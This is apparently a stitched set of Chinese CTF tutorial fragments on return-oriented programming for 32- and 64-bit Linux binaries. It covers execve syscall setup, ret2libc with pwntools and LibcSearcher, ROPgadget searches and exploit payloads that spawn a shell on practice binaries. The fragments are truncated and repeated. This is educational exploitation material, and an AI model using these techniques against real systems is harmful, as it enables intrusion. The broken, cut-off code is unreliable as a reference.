系统调用execve rax = 0x3b(64bit) rdi = bin_sh_addr rsi = 0 rdx = 0 大家有没有注意到啊,32bit的时候是///sh,64的时候恢复成了/sh,这是因为34位是4字节,64是8字节,是完全可以放下这个字符串的,不需要担心反斜杠0的问题。
这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到ROPgadget来给寄存器赋值 64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:rdirsi rdxrcx r8...
Write函数第一个参数(0代表标准输入,1代表标准输出,2代表标准错误。)write函数第三个参数是输出的字节数#32位就是4,64位就是8 32位:其传参方式大概是 p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) 64位:其传参方式大概是 p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(write_...
早期的X86指令集中并没有专门给系统调用提供指令,所以Linux中采取软中断int 0x80的方式发起系统调用,缺点是软中断的调用耗时较长,尽管后续指令集中添加了系统调用指令(32位:sysenter sysexit,64位:syscall sysret),但是不同位下的系统调用的指令并不相同,这对于程序而言是...
frompwnimport*fromLibcSearcherimport*context(log_level="debug")p = process("./x64_ret2libc")# p = remote("192.168.154.176",8888)e = ELF("./x64_ret2libc")# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")write_plt = e.plt['write']write_got = e.got['write']main =0x0000000...
64位传参需要rdi,ROP找一下就可以,也可以顺带找一下ret,防止栈对齐。然后最后需要返回到main函数。找rdi和ret位置可以用ropgadget ROPgadget --binary pwn --only 'pop|ret' | grep ret (上面图片是后面的题,这里旧版代码没有优化) frompwnimport*fromLibcSearcherimport*context(arch='amd64',os='linux',...
由于现在的程序都依赖动态链接库,所以Linux会先将控制权交给动态链接器ld-linux-x86-64.so.2,LD会在主程序开始运行前进行预处理,其中有2个很重要的函数dl_main和_dl_start_user,dl_main函数负责解释ld.so参数并加载二进制文件和库,_dl_start_user函数负责跳转到主程序的入口点,然后把控制权交给主程序。
ROP 64位实例 第三个实例 实例四 ROP 32位实例 32位思路: 1、想办法调用execve("/bin/sh",null,null) 2、传入字符串/bin///sh 3、体统调用execve eax = 11 ebx = bin sh_addr ecx = 0 edx = 0 int 0x80
大家有没有注意到啊,32bit的时候是///sh,64的时候恢复成了/sh,这是因为34位是4字节,64是8字节,是完全可以放下这个字符串的,不需要担心反斜杠0的问题。 实例代码如下: 64位exp的思想主要是ret2syscall的思想 第三个实例 下载请点击 提取码:8189
payload2=offset*b'a'+p64(ret)+p64(pop_rdi_ret)#这里的ret是用于栈对其的。具体原理不懂,朋友让加的。payload2+=p64(libc_binsh)+p64(libc_system)io.send(payload2)io.interactive() 1. 2. 3. 4. 最后看看完整exp frompwnimport*fromLibcSearcherimport*# context(# terminal = ['tmux','split...